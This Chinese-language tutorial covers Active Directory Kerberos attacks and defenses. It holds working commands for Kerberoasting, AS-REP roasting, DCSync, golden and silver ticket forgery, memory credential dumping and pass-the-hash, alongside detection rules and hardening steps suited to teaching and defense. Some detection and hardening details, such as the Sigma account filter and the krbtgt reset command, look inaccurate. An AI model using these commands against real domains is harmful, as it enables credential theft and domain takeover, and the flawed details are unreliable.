Active Directory与Kerberos的攻防博弈
Active Directory (AD) 是企业网络的核心身份管理系统,90%以上的Fortune 1000公司使用AD。Kerberos是AD的默认认证协议,理解Kerberos是理解AD安全的基础。
Kerberoasting是AD中最常见的攻击之一。它利用了TGS-REP中Service Ticket用服务账户密码hash加密的特性,离线破解服务账户密码。
# Kerberoasting攻击流程
# 前提: 任何域用户都可以请求任何SPN的Service Ticket
# 步骤1: 发现SPN (服务主体名称)
# 使用Rubeus (Windows)
Rubeus.exe kerberoast /outfile:hashes.txt
# 使用Impacket (Linux)
impacket-GetUserSPNs domain.local/user:password -request -outputfile hashes.txt
# 步骤2: 提取的hash格式 (Kerberoast hash)
$krb5tgs$23$*adminsvc$DOMAIN.LOCAL$MSSQLSvc/db01.domain.local~1433*$xxxx...
# 步骤3: 离线破解
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# 或
john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
# 为什么Kerberoasting有效?
# 1. 服务账户密码通常比用户密码弱(无人维护)
# 2. 任何域用户都可以请求Service Ticket
# 3. Service Ticket用服务账户RC4/AES hash加密
# 4. 离线破解不受账户锁定保护
# 5. 不需要与KDC特殊交互(不触发告警)
# 检测Kerberoasting的Sigma规则
title: Kerberoasting - TGS Request for Non-Service Account
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
ServiceName|contains:
- 'MSSQLSvc'
- 'HTTP'
- 'CIFS'
- 'HOST'
filter_legitimate:
TargetUserName|startswith: '$' # 计算机账户
condition: selection and not filter_legitimate
level: high
# Windows事件ID 4769 (Kerberos TGS请求)
# 监控异常的TGS请求模式:
# - 短时间内大量TGS请求
# - 请求的加密类型为RC4 (0x17) → 更易破解
# - 非常规工作时间请求
# PowerShell检测脚本
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} |
Where-Object {$_.Properties[4].Value -match 'RC4'} |
Select-Object TimeCreated,
@{N='User';E={$_.Properties[0].Value}},
@{N='Service';E={$_.Properties[5].Value}},
@{N='Encryption';E={$_.Properties[4].Value}}
# AS-REP Roasting: 针对禁用Pre-auth的用户
# 前提: 用户账户勾选了"Do not require Kerberos preauthentication"
# AD会在AS-REQ阶段直接返回AS-REP(包含用用户密码hash加密的session key)
# 发现禁用Pre-auth的用户
# Impacket
impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# PowerShell
Get-DomainUser -PreauthNotRequired | select samaccountname
# 破解hash
hashcat -m 18200 asrep_hashes.txt rockyou.txt
# 检测: EventID 4768 (AS-REQ) 不存在但4769 (TGS-REQ) 存在
# 或直接检查哪些用户禁用了Pre-auth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
# 黄金票据: 伪造TGT, 使用krbtgt账户密码hash
# 一旦获取krbtgt hash, 可以:
# 1. 伪造任何用户的TGT (包括不存在的用户!)
# 2. 伪造任何权限的TGT
# 3. TGT有效期默认10小时,但可自定义
# 4. 即使重置所有用户密码仍有效(直到krbtgt密码被改两次)
# 获取krbtgt hash (需要域管理员权限)
# Mimikatz
mimikatz # lsadump::dcsync /user:krbtgt
# Impacket
impacket-secretsdump domain.local/admin:password@dc01 -just-dc-user krbtgt
# 伪造黄金票据
# Mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:NTLM_HASH /ptt
# Impacket
impacket-ticketer -domain domain.local -domain-sid S-1-5-21-xxx -nthash KRBTGT_HASH Administrator
# 检测黄金票据
# 1. 监控EventID 4624 (登录) 中的异常登录
# 2. 检查TGT的加密类型 (应为AES256, RC4可疑)
# 3. 检查TGT中的异常MSS (memberofsid)
# 4. 比较域SID和用户SID的一致性
# 白银票据: 伪造Service Ticket, 使用服务账户hash
# 不需要与KDC通信! 更隐蔽!
# 获取服务账户hash
mimikatz # sekurlsa::logonpasswords # 从内存提取
# 伪造CIFS白银票据 (文件共享访问)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:fileserver.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
# 伪造HOST白银票据 (计划任务)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:fileserver.domain.local /service:host /rc4:SERVICE_HASH /ptt
# 白银票据 vs 黄金票据:
# 黄金票据: 伪造TGT → 访问所有服务 (需要krbtgt hash)
# 白银票据: 伪造ST → 访问特定服务 (需要服务hash, 更隐蔽)
# 白银票据不产生KDC流量 → 更难检测!
# Pass-the-Hash (PtH)
# 使用NTLM hash直接认证(不需要明文密码)
# Mimikatz
mimikatz # sekurlsa::pth /user:admin /domain:domain.local /ntlm:NTLM_HASH /run:cmd.exe
# Impacket
impacket-psexec -hashes :NTLM_HASH admin@target
# CrackMapExec
crackmapexec smb target -u admin -H NTLM_HASH
# 检测PtH:
# EventID 4624, LogonType=3 (网络登录), 使用NTLM而非Kerberos
# 在应使用Kerberos的环境中出现NTLM认证 → 可疑
# Pass-the-Ticket (PtT)
# 使用窃取的Kerberos票据
# Mimikatz导出票据
mimikatz # sekurlsa::tickets /export
# 注入票据
mimikatz # kerberos::ptt ticket.kirbi
# Linux票据转换
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
impacket-psexec domain.local/admin@target -k -no-pass
# 1. Kerberos加固
# 启用AES256加密(禁用RC4)
Set-ADUser -Identity svc_account -KerberosEncryptionType AES256
# 保护高权限用户组
# Protected Users安全组 (Server 2012R2+)
Add-ADGroupMember -Identity "Protected Users" -Members admin1,admin2
# Protected Users限制:
# - 仅AES256认证
# - 4小时TGT有效期
# - 禁用NTLM
# - 禁用委派
# 2. 防御Kerberoasting
# 定期轮换服务账户密码(≥25字符)
# 使用组托管服务账户(gMSA)
New-ADServiceAccount -Name svc_gmsa -DNSHostName svc.domain.local -PrincipalsAllowedToRetrieveManagedPassword "Servers"
# 3. 防御黄金票据
# 定期重置krbtgt密码(两次!)
# 第一次重置 → 旧黄金票据失效
# 等待所有DC复制 → 第二次重置
Reset-ADServiceAccountPassword -Identity krbtgt
# 4. 防御AS-REP Roasting
# 确保所有用户启用Pre-auth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
Set-ADUser -DoesNotRequirePreAuth $false
# 5. LAPS (本地管理员密码方案)
# 随机化每台机器的本地管理员密码
# 密码存储在AD中,权限受控
# 6. Tier模型 (层级管理)
# Tier 0: 域控制器, 管理员
# Tier 1: 服务器, 服务账户
# Tier 2: 工作站, 普通用户
# 禁止高Tier登录低Tier
# 关键事件ID监控
## 认证异常
[ ] 4624 - 登录类型异常(NTLM vs Kerberos)
[ ] 4625 - 登录失败(暴力破解)
[ ] 4768 - AS-REQ (Pre-auth失败)
[ ] 4769 - TGS请求 (Kerberoasting指标)
[ ] 4770 - 票据授予异常
## 账户操作
[ ] 4720 - 创建用户
[ ] 4728/4732 - 添加用户到特权组
[ ] 4740 - 账户锁定
[ ] 4767 - 账户解锁
## 委派攻击
[ ] 4769 + RC4加密 - Kerberoasting
[ ] 4624 + NTLM - Pass-the-Hash
[ ] 4769 + 异常SPN - 票据攻击
## DCSync
[ ] 4662 - 对DS对象属性的访问
[ ] 审计DS Replication权限使用
## 工具
# Splunk/Sentinel查询
# BloodHound - AD攻击路径可视化
# Azure AD Identity Protection
# Microsoft Defender for Identity